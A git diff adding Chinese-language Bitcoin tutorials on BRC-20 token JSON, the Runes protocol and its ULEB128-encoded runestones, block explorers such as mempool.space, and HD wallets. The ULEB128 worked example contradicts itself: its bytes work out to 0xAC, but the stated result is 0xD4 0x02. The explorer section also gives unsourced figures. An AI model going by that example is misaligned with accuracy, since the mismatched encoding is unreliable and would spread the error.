+据 Dune 链上数据统计，截止2023 年 12 月 3 日, 巅峰期 BRC-20 交易占比超过比特币网络交易的六成之多，是迄今为止BTC生态采用度最高的协议。Ordinal和BRC-20协议从技术层面来说并不是一个优秀的技术，但其是去掉智能合约的资产发行足够简单以及Fair Mint的特点，让用户更加容易参与进来。  
+这次实验不仅点燃了市场的热情，还引发了一场广泛的“铭文潮流”，也就是在比特币网络上铸造和交易各种Token的潮流。接着，类似于BRC-20的铭文协议如雨后春笋般涌现，不仅在比特币网络上蓬勃发展，还迅速扩散到其他公链平台。这次实验中的一种Token——ordi，已经取得了显著的市场成就。截至目前，ordi的市值已经超过了10亿美元，成为了加密资产市场中的一颗新星，稳居市值排行榜前50位。这个成就不仅证明了BRC-20和类似协议的潜力，也显示了区块链技术在资产Token化领域的巨大应用前景。  
+总的来说，domo的这次实验不仅是一个技术上的突破，也是一个市场和社区层面的重大事件。它不仅为比特币网络上的资产发行开辟了新天地，还为整个加密资产生态系统的发展注入了新的活力和创新。
+![brc20-experiment](./images/brc20-experiment.jpg)
+
+## 协议详情
+### Deploy
+```js
+{"p":"brc-20","op":"deploy","tick":"ordi","max":"21000000","lim":"1000"}
+```
+| Key  | Required? | Description                                                                                   |
+|------|-----------|-----------------------------------------------------------------------------------------------|
+| p    | Yes       | Protocol: Helps other systems identify and process BRC-20 events                              |
+| op   | Yes       | Operation: Type of event (Deploy, Mint, Transfer)                                             |
+| tick | Yes       | Ticker: 4 letter identifier of the BRC-20                                                     |
+| max  | Yes       | Max supply: set max supply of the BRC-20                                                      |
+| lim  | No        | Mint limit: If letting users mint to themselves, limit per ordinal (unisat not validate)     |
+| dec  | No        | Decimals: set decimal precision, default to 18                                               |
+
+### Mint
+```js
+{"p":"brc-20","op":"mint","tick":"ordi","amt":"100000"}
+```
+| Key  | Required? | Description                                                       |
+|------|-----------|-------------------------------------------------------------------|
+| p    | Yes       | Protocol: Helps other systems identify and process brc-20 events   |
+| op   | Yes       | Operation: Type of event (Deploy, Mint, Transfer)                 |
+| tick | Yes       | Ticker: 4 letter identifier of the brc-20                         |
+| amt  | Yes       | Amount to mint: States the amount of the brc-20 to mint. Has to be less than "lim" above if stated |
+
+### Transform
+- 铸造transfer铭文
+```js
+{"p":"brc-20","op":"transfer","tick":"ordi","amt":"10"}
+```
+- 将transfer铭文通过PSBT的方法转移给receiver
\ No newline at end of file
diff --git a/btc/Application/BRC-20/images/brc20-experiment.jpg b/btc/Application/BRC-20/images/brc20-experiment.jpg
new file mode 100644
index 000000000..d93b85739
Binary files /dev/null and b/btc/Application/BRC-20/images/brc20-experiment.jpg differ
diff --git a/btc/Application/BRC-20/images/dune.jpg b/btc/Application/BRC-20/images/dune.jpg
new file mode 100644
index 000000000..b3717ba9f
Binary files /dev/null and b/btc/Application/BRC-20/images/dune.jpg differ
diff --git a/btc/Application/Runes/README.md b/btc/Application/Runes/README.md
new file mode 100644
index 000000000..a95c6e61e
--- /dev/null
+++ b/btc/Application/Runes/README.md
@@ -0,0 +1,104 @@
+# 背景
+## Ordinals
+Ordinals 最早由 Casey (@rodarmor) 在2022年12月发布，该协议允许在比特币的最小单位聪上铭刻数据，包含文本、图片、音频、视频等数据信息，进而把NFT引入到比特币生态。而我们一直说的比特币铭文也是一段通过采用Ordinals 协议铭刻(Inscribe)在聪(Satoshis)上的元数据。
+
+## BRC-20
+BRC-20 是由匿名开发者 @domodata 于2023年3月8日推出，是基于刚介绍的 Ordinals协议推出的协议。该协议通过将代币的名称、数量等信息用特定的 JSON 格式写入聪(Satoshi)中以实现代币的部署Deploy、铸造Mint和转账Transfer的功能。仿照以太坊 ERC-20 代币标准使用 BRC-20 命名，相当于基于 Ordinals 协议的代币发行协议。详细介绍参考 [BRC-20 协议](../BRC-20/README.md)。
+
+## Runes
+2023年9月1日 Casey 公开反对BRC20协议，并希望可以停止铸造 BRC-20。在9月26日，Casey Rodarmor 重新开发了一个名为 Runes 的协议作为 BRC-20 的替代品。该协议是一个基于 UTXO 的、能使比特币使用者具有使用良好体验的可替代代币协议。Casey 认为改良过后，能够降低制造大量垃圾 UTXO 现象的符文，是比先前实验性的 BRC-20 协议更好、更轻量简洁的资产发行方案。至少目前 BRC -20 的流行已经创造了大量的“垃圾”UTXO 。
+
+
+# Runes协议介绍
+符文协议允许比特币交易蚀刻、铸造和转移比特币原生数字商品。
+
+## 符文石（RuneStone）
+> 符文协议消息，称为符文石，存储在比特币交易输出中。 在区块 840,000（比特币第四次减半） 上激活, 早期区块中的符文石将被忽略。
+
+符文石输出的脚本以`OP_RETURN`开头，然后是 `OP_13`，最后是零个或多个数据推送。这些推送的数据被串联起来并解码为128位整数序列，最后解析为符石，相关编解码逻辑见[ULEB128](./ULEB128.md)。
+一笔交易最多可以拥有一颗符文石。符文石可以蚀刻一个新的符文或者铸造一个现有的符文，并将符文从交易的输入传输到其输出。
+```js
+struct Runestone {
+  edicts: Vec<Edict>,
+  etching: Option<Etching>,
+  mint: Option<RuneId>,
+  pointer: Option<u32>,
+}
+```
+- `edicts`：标识符文的转移信息，用于符文转账。
+- `etching`：标识符文的蚀刻信息，通过蚀刻创建新符文。
+- `mint`：存储符文 ID，用于符文铸造。
+- `pointer`：标识未分配的符文的默认转移位置，不设置则将剩余的未分配符文将转移到交易的第一个非OP_RETURN输出。
+
+### 符文（Rune）
+符文由 ID 标识，ID 包含蚀刻符文的区块以及该区块内蚀刻交易的索引，以文本形式表示为BLOCK:TX。例如，第 500 个区块的第 20 笔交易中铸造的符文 ID 为500:20。
+
+### 蚀刻（Etching）
+符文石中包含的蚀刻信息用于创建新符文
+```js
+struct Etching {
+  divisibility: Option<u8>,
+  premine: Option<u128>,
+  rune: Option<Rune>,
+  spacers: Option<u32>,
+  symbol: Option<char>,
+  terms: Option<Terms>,
+}
+
+struct Rune(u128);
+
+struct Terms {
+  amount: Option<u128>,
+  cap: Option<u128>,
+  height: (Option<u64>, Option<u64>),
+  offset: (Option<u64>, Option<u64>),
+}
+```
+- `divisibility`：符文精度，标识符文数量中小数点后允许的位数。
+- `premine`：为自己分配被蚀刻的符文数量，用于预挖。
+- `rune`：符文名称，由字母 A 到 Z 组成，例如UNCOMMONGOODS。
+- `spacers`：符文分隔符，位域的第 N 个字段（从最低有效位开始）确定是否应在从符文名称左侧开始的第 N 个和第 N+1 个字符之间显示间隔符，举例如下 
+
+| Spacers | Display  |
+|---------|----------|
+| 0b1     | A•AAA    |
+| 0b11    | A•A•AA   |
+| 0b10    | AA•AA    |
+| 0b111   | A•A•A•A  |
+
+- `symbol`：符文货币符号的 Unicode 代码点，显示在该符文的金额之后。如果符文没有货币符号，¤则应使用通用货币字符。
+- `terms`：符文条款，铸币时需要满足的条件。
+  - `amount`: 每个铸币交易收到的符文数量
+  - `cap`: 允许的铸造次数
+  - `height`: 铸造的起始和结束绝对区块高度
+  - `offset`: 相对于符文被蚀刻的块的起始和结束块高度
+
+### 铸造
+符文石中包含的mint信息用于铸造符文，铸币数量将添加到交易输入中未分配的符文中。这些符文可以使用Edict进行转移，否则将转移到第一个非OP_RETURN输出或由字段指定的输出Pointer。
+
+### 转账
+符文石中包含的edict信息用于转移符文，符文石可以包含任意数量的法令，这些edict是按顺序处理的。
+```js
+struct Edict {
+  id: RuneId,
+  amount: u128,
+  output: u32,
+}
+```
+- id：符文id。
+- amount：符文转移数量。
+- output：符文输出位置，对应vout的下标。
+
+转移规则：
+1. 优先处理符文石的edict，将输入中对应的符文转移到输出的output位置的UTXO上
+2. 如果有剩余的符文则会均匀分配到输出上
+3. 如果未分配的符文数量不能被非OP_RETURN输出的数量整除，多余的符文会分配给第一个非OP_RETURN的输出
+
+如果符石中的任何edict的符文ID的block=0且tx>0，或者output大于交易输出的数量，则该符石是纪念碑。纪念碑中的法令不会被处理，所有输入的符文都会被烧毁。
+
+## 纪念碑（Cenotaphs）
+符石可能因多种原因而格式错误，包括符石中的非推送数据操作码OP_RETURN、无效的变体或无法识别的符石字段。畸形的符文石被称为**纪念碑**。
+
+输入到纪念碑交易中的符文会被烧毁。在带有纪念碑的交易中蚀刻的符文被设置为不可铸造。带有纪念碑的交易中的铸币计入铸币上限，但铸造的符文会被烧毁。
+
+纪念碑是一种升级机制，允许符文被赋予新的语义，从而改变符文的创建和传输方式，同时不会误导未升级的客户端这些符文的位置，因为未升级的客户端会看到这些符文已被烧毁。
\ No newline at end of file
diff --git a/btc/Application/Runes/ULEB128.md b/btc/Application/Runes/ULEB128.md
new file mode 100644
index 000000000..745c87556
--- /dev/null
+++ b/btc/Application/Runes/ULEB128.md
@@ -0,0 +1,247 @@
+# 简介
+
+ULEB128（Unsigned Little Endian Base 128）是一种编码方式，设计用于高效地表示无符号整数，尤其是在计算机科学和编程中。它采用变长编码方式，旨在减少存储和传输数据时的开销。
+
+# 示例
+
+## ULEB128 编码
+
+ULEB128编码将无符号整数编码为一系列字节，其中每个字节除了最后一个字节外，最高位都被设置为1，表示还有更多的字节。
+整数从其最低有效位到最高有效位进行编码，逐字节处理，每次处理7位。处理的过程中，将7位数据放入字节的低7位，若还有更多数据待处理，则设置高位为1，否则设置为0。这种编码方式保证了较小的数值占用较少的空间。
+** 举例 **
+假设要编码整数 300（二进制表示为 10, 0101100）：
+
+- 第一个字节中，低7位为 0101100（十进制的 44），最高位设置为 1（表示还有数据），因此第一个字节为 10101100。
+- 第二个字节仅包含剩余的 10，放在最低位，其余位填充为0，最高位为 0（表示这是最后一个字节），因此第二个字节为 00000010。
+- 最终编码为 0xD4 0x02。
+
+## ULEB128 解码
+
+ULEB128 解码需要观察每个字节的最高位（也称为继续位），在 ULEB128 编码中，每个字节的最高位（第8位）用于指示是否还有更多的字节需要读取。
+
+- 如果这一位是 1，表示后续还有至少一个字节是这个数的一部分。
+- 如果这一位是 0，则表示这是最后一个字节。
+  ** 举例 **
+  假设要解码十六进制 **cfa433**
+- 第一个字节 cf（二进制：11001111），数据位：1001111（二进制），十进制值为 79。
+- 第二个字节 a4（二进制：10100100），数据位：0100100（二进制），十进制值为 36。
+- 第三个字节 33（二进制：00110011），数据位：0110011（二进制），十进制值为 51。
+
+相加得到 79 + 36 _ 128 + 51 _ 128^2 = 840271
+
+## 在Runes中应用
+
+## 蚀刻
+
+### 数据结构
+
+```js
+type Etching = {
+  divisibility?: U8;
+  premine?: U128;
+  rune?: Rune;
+  spacers?: U32;
+  symbol?: Symbol;
+  terms?: Terms;
+};
+
+type Rune = u128;
+
+type Terms = {
+  amount?: U128;
+  cap?: U128;
+  height?: {
+    start?: U64;
+    end?: U64;
+  };
+  offset?: {
+    start?: U64;
+    end?: U64;
+  };
+};
+```
+
+### 示例
+
+｜ DOG•GO•TO•THE•MOON 蚀刻交易
+https://mempool.space/zh/tx/e79134080a83fe3e0e06ed6990c5a9b63b362313341745707a2bff7d788a1375
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_33 02010487a1c3f0c0ebf7fb9d01010503d4040595e80706808084fea6dee1111601
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 2n, hex: '02' },
+  { decimal: 1n, hex: '01' },
+  { decimal: 4n, hex: '04' },
+  { decimal: 11382812169668186247n, hex: '87a1c3f0c0ebf7fb9d01' },
+  { decimal: 1n, hex: '01' },
+  { decimal: 5n, hex: '05' },
+  { decimal: 3n, hex: '03' },
+  { decimal: 596n, hex: 'd404' },
+  { decimal: 5n, hex: '05' },
+  { decimal: 128021n, hex: '95e807' },
+  { decimal: 6n, hex: '06' },
+  { decimal: 10000000000000000n, hex: '808084fea6dee111' },
+  { decimal: 22n, hex: '16' },
+  { decimal: 1n, hex: '01' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [],
+  "etching": {
+    "divisibility": "5",
+    "premine": "10000000000000000",
+    "rune": "11382812169668186247",
+    "spacers": "596",
+    "symbol": "128021",
+    "turbo": false,
+    "terms": null
+  },
+  "mint": null,
+  "pointer": "1",
+  "flags": "1",
+}
+```
+
+## 铸造
+
+### 数据结构
+
+```js
+type Mint = {
+    block: U64;
+    tx: U32;
+}
+```
+
+### 示例
+
+｜ GOLD•RUNE•STONE 铸造交易
+https://mempool.space/zh/tx/b4da683f34fa2a159f887012a67a14e56dbbf8e38e2da991be45869413544e0b
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_16 14cfa43314b80400cfa433b804e80700
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 20n, hex: '14' },
+  { decimal: 840271n, hex: 'cfa433' },
+  { decimal: 20n, hex: '14' },
+  { decimal: 568n, hex: 'b804' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 840271n, hex: 'cfa433' },
+  { decimal: 568n, hex: 'b804' },
+  { decimal: 1000n, hex: 'e807' },
+  { decimal: 0n, hex: '00' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [
+    {
+      "id": {
+        "block": "840271",
+        "tx": "568"
+      },
+      "amount": "1000",
+      "output": "0"
+    }
+  ],
+  "etching": null,
+  "mint": {
+    "block": "840271",
+    "tx": "568"
+  },
+  "pointer": null
+}
+```
+
+## 转账
+
+### 数据结构
+
+```js
+type Mint = {
+    block: U64;
+    tx: U32;
+}
+```
+
+### 示例
+
+｜ DOG•GO•TO•THE•MOON 转移交易
+https://mempool.space/zh/tx/966aff320562acd491458bded8fc9010590285aa3abd4801fe06192c242544ee
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_21 160b00c0a2330380ea8ed51f0b00008094ebdc030d
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 22n, hex: '16' },
+  { decimal: 11n, hex: '0b' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 840000n, hex: 'c0a233' },
+  { decimal: 3n, hex: '03' },
+  { decimal: 8500000000n, hex: '80ea8ed51f' },
+  { decimal: 11n, hex: '0b' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 0n, hex: '00' },
+  { decimal: 1000000000n, hex: '8094ebdc03' },
+  { decimal: 13n, hex: '0d' },
+];
+```
+
+**3. 对照码表翻译**
+
+```js
+{
+  "edicts": [
+    {
+      "id": {
+        "block": "840000",
+        "tx": "3"
+      },
+      "amount": "8500000000",
+      "output": "11"
+    },
+    {
+      "id": {
+        "block": "840000",
+        "tx": "3"
+      },
+      "amount": "1000000000",
+      "output": "13"
+    }
+  ],
+  "pointer": "11"
+}
+```
diff --git a/btc/Basic/explorer/README.md b/btc/Basic/explorer/README.md
new file mode 100644
index 000000000..0eb90ad33
--- /dev/null
+++ b/btc/Basic/explorer/README.md
@@ -0,0 +1,371 @@
+概述
+
+区块链浏览器是一种用于查看和检索区块链上数据的在线工具，类似于传统互联网中的搜索引擎。它并非传统意义上的“浏览器”（如Chrome或Safari），而是专门为区块链设计的透明化数据查询工具,用于查询和展示区块链网络中的公开数据。其核心功能是解析并可视化分布式账本中的信息，例如交易记录、区块详情、地址余额、智能合约状态等。用户通过区块链浏览器可以实时监控链上活动，验证交易真实性，并分析网络运行状态。
+
+以下是其要点：
+
+1.技术原理
+
+1.1 区块链数据结构解析
+
+区块链的本质是一个按时间顺序连接的链式数据结构，每个区块包含以下核心元素：
+
+-区块头（Block Header）：存储区块的元数据，包括版本号、时间戳、前序区块哈希（Previous Hash）、默克尔根（Merkle Root）、难度值等
+
+-交易列表（Transactions）：记录该区块打包的所有交易信息，例如发送方、接收方、金额、Gas费用等
+
+-哈希值（Block Hash）：通过加密算法（如SHA-256）生成的唯一标识符，用于确保区块数据的不可篡改性
+
+-区块链浏览器通过解析这些数据结构，将原始二进制或十六进制数据转换为可读的格式（如JSON或HTML），并在前端界面中展示
+
+
+1.2 节点交互与数据同步
+
+区块链浏览器需要与网络中的节点（Node）建立连接以获取实时数据。节点分为全节点和轻节点：
+
+-全节点：存储完整的区块链数据，能够独立验证交易和区块的有效性
+
+-轻节点：仅存储区块头信息，依赖其他节点提供交易细节
+
+浏览器通常通过节点的RPC（Remote Procedure Call）接口或专用API获取数据。例如，以太坊的Web3.js库允许开发者与以太坊节点通信，查询账户余额或交易详情
+
+
+1.3 数据索引与存储优化
+
+由于区块链数据量庞大（如比特币区块链已超过400GB），直接查询链上数据效率低下。因此，区块链浏览器通常采用以下优化技术：
+
+-建立索引数据库：将区块高度、交易哈希、地址等关键字段存入关系型数据库（如MySQL）或NoSQL数据库（如MongoDB），加速查询响应
+
+-缓存机制：对高频访问的数据（如最新区块）进行缓存，减少重复计算
+
+-分布式架构：采用微服务设计，将数据采集、处理和展示模块分离，提升系统扩展性
+
+
+1.4 前端与后端技术栈
+
+-前端：使用React、Vue等框架构建交互式界面，结合图表库（如D3.js）展示交易趋势、网络算力等统计信息
+
+-后端：采用Node.js、Python或Go语言开发API服务，处理数据查询请求并与区块链节点交互
+
+-安全机制：通过HTTPS加密传输、防止SQL注入和跨站脚本（XSS）攻击，确保用户数据安全
+
+
+
+2.核心功能
+
+区块链浏览器的功能设计围绕链上数据的透明性和可追溯性展开，以下是其核心功能模块：
+
+2.1 区块与交易查询
+
+-区块详情：展示区块高度、哈希值、时间戳、矿工地址、交易数量、Gas消耗等信息
+
+-交易追踪：通过交易哈希（TxHash）查询交易状态（确认数）、输入输出地址、转账金额及手续费
+
+-地址监控：查看特定地址的余额、交易历史记录及关联的智能合约
+
+
+2.2 实时数据展示
+
+-最新区块列表：滚动显示最新生成的区块及其基础信息
+
+-未确认交易池（Mempool）：展示待打包交易的排队情况，帮助用户预估交易确认时间
+
+
+2.3 统计分析与可视化
+
+-网络算力（Hash Rate）：实时显示全网挖矿算力分布及变化趋势
+
+-交易吞吐量：统计每秒交易数（TPS）及区块间隔时间
+
+-代币分布：分析通证（Token）的持有者地址数量及持仓比例
+
+
+2.4 智能合约交互
+
+-合约代码审计：展示智能合约的源代码及字节码，支持开发者验证合约逻辑
+
+-事件日志（Event Logs）：记录合约执行过程中触发的事件，便于调试和追踪
+
+-ABI接口调用：允许用户通过浏览器直接与合约交互，执行查询或触发函数
+
+
+2.5 网络状态监控
+
+-节点地理分布：地图可视化展示全球节点的地理位置
+
+-协议版本检测：监控网络中不同客户端（如Geth、Parity）的版本兼容性
+
+-分叉警报：实时检测硬分叉或软分叉事件，并提供链重组（Reorg）详情
+
+
+
+3.核心特点
+
+区块链浏览器的设计理念和技术实现赋予其以下显著特点：
+
+3.1 数据透明性与不可篡改性
+
+-所有链上数据公开可查，任何人可通过地址、交易哈希等查询交易详情（如金额、时间戳、参与方地址,任何用户均可验证交易的真实性
+
+-基于哈希指针和加密算法，确保历史数据无法被修改
+
+-提供区块结构可视化展示，包括区块高度、哈希值、矿工奖励、打包交易数量等元数据
+
+-实时显示网络全局数据：全网算力、交易手续费均值、未确认交易池规模、活跃地址数量等
+
+
+3.2 多链兼容性
+
+-支持不同共识机制（如PoW、PoS、DPoS）的区块链，例如比特币、以太坊、波场等
+
+-跨链浏览器（如Blockchair）可同时查询多条链的数据
+
+-各公链浏览器存在协议级差异（如UTXO模型与账户模型的不同展示逻辑）
+
+-智能合约链支持ABI解析，可将字节码转化为可读函数调用
+
+-特定功能定制化（如Filecoin浏览器包含存储订单生命周期追踪）
+
+
+3.3 安全防护机制
+
+-采用速率限制策略（如单个IP每分钟不超过120次请求）
+
+-部署交易流量异常检测系统，自动识别DDoS攻击模式
+
+-关键查询实施人机验证（CAPTCHA），防止数据爬取滥用
+
+
+3.4 用户友好性
+
+-提供地址标签、交易备注等个性化功能，降低普通用户的理解门槛
+
+-支持多语言界面及移动端适配，提升访问便捷性
+
+
+3.5 功能完备性
+
+-开放API接口供第三方应用调用，例如获取地址余额或生成交易二维码
+
+-内置调试工具（如以太坊的Remix插件），简化智能合约开发流程
+
+-支持12种以上查询维度：地址资产图谱、双花交易检测、富豪地址追踪、Gas消耗分析等
+
+-集成链上分析工具：代币流向图谱、MEV交易监控、NFT元数据解析等进阶功能
+
+
+4.应用场景
+
+-普通用户：确认转账到账、验证钱包地址有效性
+
+-开发者：调试智能合约、监控合约事件日志
+
+-研究者：分析链上活动（如NFT交易趋势、DeFi协议资金流动）
+
+-监管机构：追踪非法交易（如洗钱）或调查黑客事件
+
+-交易验证：用户支付加密货币后，可通过浏览器确认交易是否成功上链
+
+-链上审计：监管机构利用浏览器追踪资金流向，打击洗钱行为
+
+-DApp开发：开发者分析热门合约的调用模式，优化产品设计
+
+-市场分析：投资者通过统计图表评估网络活跃度，辅助投资决策
+
+
+
+总结
+
+区块链浏览器作为连接用户与区块链网络的桥梁，通过高效的数据解析和可视化技术，实现了链上信息的透明化访问。其技术架构融合了分布式系统、数据库优化和前端交互设计，核心功能覆盖了从基础查询到智能合约调试的全场景需求。随着区块链技术的普及，浏览器将进一步向跨链聚合、隐私保护（如零知识证明集成）和AI数据分析等方向演进，成为Web3生态不可或缺的基础设施。
+
+
+
+下面以Mempool为例介绍常见区块链浏览器的具体内容和使用方式：
+
+Mempool.space 是一个开源的比特币区块链浏览器，提供了实时的区块链数据和交易信息,其核心功能与特性如下：
+
+1.核心定位
+
+专注比特币内存池可视化，展示全网待确认交易池状态
+
+提供链下交易动态追踪（区别于传统区块链浏览器侧重链上数据）
+
+
+2. 核心功能模块
+
+2.1交易池监控
+
+-实时显示全网未确认交易数量（典型范围：3万-30万笔）
+
+-按交易费率（sat/vB）分层统计交易分布（如0-1 sat、1-5 sat等区间）
+
+-可视化交易池容量变化曲线（支持1小时/24小时/7天时间维度）
+
+
+2.2费率预测
+
+-智能计算不同确认优先级所需费率（10分钟/3小时/24小时确认对应的建议费率）
+
+-动态调整预测模型，考虑区块空间竞争强度与矿工打包策略
+
+
+2.3交易溯源
+
+输入交易ID可查看其在内存池中的存活时间（最长滞留交易警示）
+
+展示交易在费率分层中的相对位置（前10%/50%等）
+
+
+2.4监控网络状态
+
+实时哈希率监测（单位：EH/s）
+
+区块间隔时间统计（最近10个区块平均出块时间）
+
+内存池交易总容量（按vMB和交易数量双维度展示）
+
+
+
+3. 技术实现特性
+
+-部署全球监测节点网络（超30个节点覆盖主要矿池区域）
+
+-采用流数据处理架构，延迟控制在2秒内（对比常规浏览器5-10秒延迟）
+
+-构建交易传播路径图谱（可视化交易在节点间的广播过程）
+
+
+
+4. 特色数据分析
+
+4.1矿工行为分析
+
+-识别矿池交易打包偏好（如特定矿池的费率优先级）
+
+-统计空区块产生频率与关联矿池
+
+4.2交易替换监控
+
+-检测RBF（费用替代）交易对原始交易的替换情况
+
+-标记CPFP（子为父付费）交易捆绑策略
+
+
+
+5. 用户场景
+
+-普通用户：优化交易费设置（避免超额支付或长时间滞留）
+
+交易所：监控提现交易状态（预估到账时间）
+
+开发者：调试交易广播策略（测试网络拥堵时的传播效率）
+
+研究人员：分析比特币网络健康度（内存池积压周期规律）
+
+该平台日均访问量超50万次（2024年数据），其提供的交易加速服务通过合作矿池实现优先打包，成功率可达92%。与同类工具（如mempool.observer）相比，其优势在于深度整合闪电网络数据，提供通道容量平衡状态的可视化分析。
+
+
+
+以下是如何使用 Mempool.space 的详细教程：
+
+1.访问 Mempool.space
+
+打开浏览器，访问 [Mempool.space](https://mempool.space/)
+
+
+2.主界面概览
+
+打开 mempool.space 后，主界面分为几个核心区域：
+
+-顶部导航栏：包含搜索框、网络切换（比特币主网/测试网）、语言设置等
+
+-实时手续费估算：显示当前不同优先级（高/中/低）交易的推荐手续费率（单位：sat/vB）
+
+-内存池交易列表：动态展示当前未确认交易的列表。每笔交易显示：
+               -手续费率（sat/vB）
+               -交易大小（KB）
+               -总手续费（BTC 或 satoshi）
+               -交易时间（多久前进入内存池）
+
+-最新区块：显示最新挖出的区块高度、包含的交易数量、矿工手续费等
+
+-矿工信息：展示近期区块的矿工（矿池）分布统计
+
+
+3.查看区块信息
+
+点击首页的区块高度链接，进入区块详情页面：
+
+-区块哈希：显示区块的哈希值 
+
+-时间戳：显示区块被挖出的时间
+
+-交易数量：显示区块中包含的交易数量
+
+-矿工奖励：显示矿工获得的奖励
+
+-区块大小：显示区块的大小，点击任意区块高度，可查看该区块的详细信息：
+         -区块哈希、时间戳、矿工（矿池）
+         -区块内包含的交易数量及总手续费
+         -区块大小、权重、Coinbase 交易（矿工奖励）
+
+-区块版本：显示区块的版本号
+
+
+4.查看交易信息
+
+在首页或区块详情页面，点击任意交易哈希，进入交易详情页面：
+
+-交易哈希：显示交易的哈希值
+
+-输入和输出：显示交易的输入和输出地址及金额
+
+-交易费：显示交易的手续费
+
+-确认状态：显示交易的确认状态和确认次数
+
+-交易大小：显示交易的大小
+
+-锁定时间：显示交易的锁定时间（如果有）
+
+-查看推荐手续费：在主界面中间的图表中，可以看到不同优先级（高/中/低）的手续费率（sat/vB）。图表横轴是时间，纵轴是手续费率，显示过去一段时间内的费率波动
+             -快速确认（绿色）：支付更高费率，交易可能在下一个区块被确认
+             -中等确认（黄色）：平衡费率，可能在1-6个区块内确认
+             -经济模式（红色）：最低费率，但可能需要等待更长时间
+
+-调整手续费模式：点击图表右上角的「经济模式」或「加速模式」，可切换手续费计算逻辑（保守型或激进型）
+
+
+5.使用搜索功能
+在页面顶部的搜索栏中输入区块哈希、交易哈希或比特币地址，按下回车键进行搜索：
+
+-搜索交易ID：在顶部搜索栏输入完整的交易哈希（Transaction Hash），即可查看该交易的详细信息，包括：
+           -确认状态（未确认/已确认的区块高度）
+           -输入/输出地址及金额
+           -手续费（总手续费、手续费率 sat/vB）
+           -交易体积（vBytes）和权重（Weight）
+
+-区块哈希：显示对应区块的详细信息
+
+-交易哈希：显示对应交易的详细信息
+
+-比特币地址：输入比特币地址，可查看该地址的余额、交易历史记录（转入/转出）、UTXO（未花费的交易输出）等
+
+
+6.高级功能
+
+-替换手续费（RBF）和子父手续费（CPFP）:
+               -如果一笔未确认交易支持 RBF（Replace-By-Fee），可在交易详情页点击「IncreaseFee」重新广播更高手续费的交易。
+               -如果交易有找零输出，可通过 CPFP（Child-Pays-For-Parent）创建子交易支付更高手续费，加速父交易确认。
+
+-自建节点监控:Mempool.space 支持连接到自己的比特币全节点（需在设置中配置），实现私有化监控
+
+-实时图表：在首页底部可以看到实时更新的图表，包括交易费率、内存池大小等
+
+-API 接口：Mempool.space 提供了 API 接口，开发者可以使用这些接口获取区块链数据。可以在 [API 文档](https://mempool.space/docs/api) 中找到详细信息
+
+-自定义设置：在页面右上角的设置图标中，可以调整显示语言、主题（浅色或深色）等个性化设置。
+
+
+
+Reference: -[how-to-use-mempool-space-block-explorer](https://bitcoinbriefly.com/how-to-use-mempool-space-block-explorer/)
diff --git a/btc/Basic/hdwallet/README.md b/btc/Basic/hdwallet/README.md
new file mode 100644
index 000000000..b1562429c
--- /dev/null
+++ b/btc/Basic/hdwallet/README.md
@@ -0,0 +1,37 @@
+HD钱包，全称为分层确定性钱包（Hierarchical Deterministic Wallet），是一种通过单一的种子（Seed）生成和管理多个密钥对的数字钱包。这种结构使得用户只需备份一次种子，即可控制所有衍生出的私钥和公钥，极大地简化了密钥管理的复杂性。
+
+**HD钱包的主要特点：**
+
+1. **分层结构：** HD钱包采用树状结构，根节点由主密钥（Master Key）组成，子节点为从主密钥派生出的子密钥。这种分层设计允许用户根据需要生成不同层级的密钥，方便管理和分配。 
+
+2. **确定性：** 通过相同的种子，HD钱包可以生成相同的密钥序列。这意味着只要备份了种子，就可以在任何时候恢复所有的密钥和地址。 
+
+3. **增强的隐私性：** HD钱包可以为每笔交易生成不同的地址，避免重复使用同一地址，从而提高交易的隐私性。 
+
+**HD钱包的工作原理：**
+
+- **种子生成：** 用户首先生成一个随机数作为种子，通常通过助记词（Mnemonic）表示。助记词是一组易于记忆的单词序列，用于表示种子。 
+
+- **主密钥派生：** 通过种子，使用特定的算法（如HMAC-SHA512）生成主私钥和主公钥。
+
+- **子密钥派生：** 从主密钥可以派生出多个子密钥，每个子密钥又可以派生出自己的子密钥，形成树状结构。这种派生过程可以根据需要进行多层次的扩展。 
+
+**HD钱包的优势：**
+
+- **简化备份：** 用户只需备份一次种子或助记词，即可恢复所有的密钥和地址，避免了逐个备份每个私钥的麻烦。
+
+- **灵活的密钥管理：** 分层结构允许用户根据不同的用途或账户生成不同的子密钥，方便管理。
+
+- **增强的安全性：** 通过生成不同的地址，减少了地址关联性，提升了交易的隐私性和安全性。
+
+**HD钱包的标准：**
+
+HD钱包的概念最早由BIP32提案提出，随后BIP39引入了助记词的标准，BIP44则定义了多币种、多账户的路径标准。这些标准共同构建了当前HD钱包的基础。 
+
+**注意事项：**
+
+- **妥善保管助记词：** 助记词是恢复钱包的唯一凭证，一旦丢失或泄露，可能导致资产无法找回或被盗。
+
+- **定期备份：** 虽然HD钱包简化了备份过程，但仍需定期检查备份的有效性，确保在需要时能够成功恢复。
+
+总的来说，HD钱包通过分层确定性的设计，提供了高效、安全且灵活的密钥管理方式，已成为当前数字货币钱包的主流选择。 
\ No newline at end of file
diff --git a/btc/Basic/hdwallet/derive.md b/btc/Basic/hdwallet/derive.md
new file mode 100644
index 000000000..442c1585c
--- /dev/null
+++ b/btc/Basic/hdwallet/derive.md
@@ -0,0 +1,124 @@
+HD钱包（Hierarchical Deterministic Wallet）通过分层确定性结构生成和管理密钥对。其核心在于通过种子生成主密钥，然后通过分层推导生成多个子密钥。这种方式使得密钥管理变得简单、安全，用户只需备份种子即可恢复整个钱包。以下是HD钱包的详细技术细节和子密钥推导过程。
+
+### 1. **HD钱包结构概述**
+- **种子（Seed）**：HD钱包从一个随机生成的种子开始，该种子通过助记词（BIP39）表示。
+- **主密钥（Master Key）**：由种子生成，包含主私钥、主公钥和链码。
+- **链码（Chain Code）**：用于生成子密钥，是密钥派生过程中的关键成分。
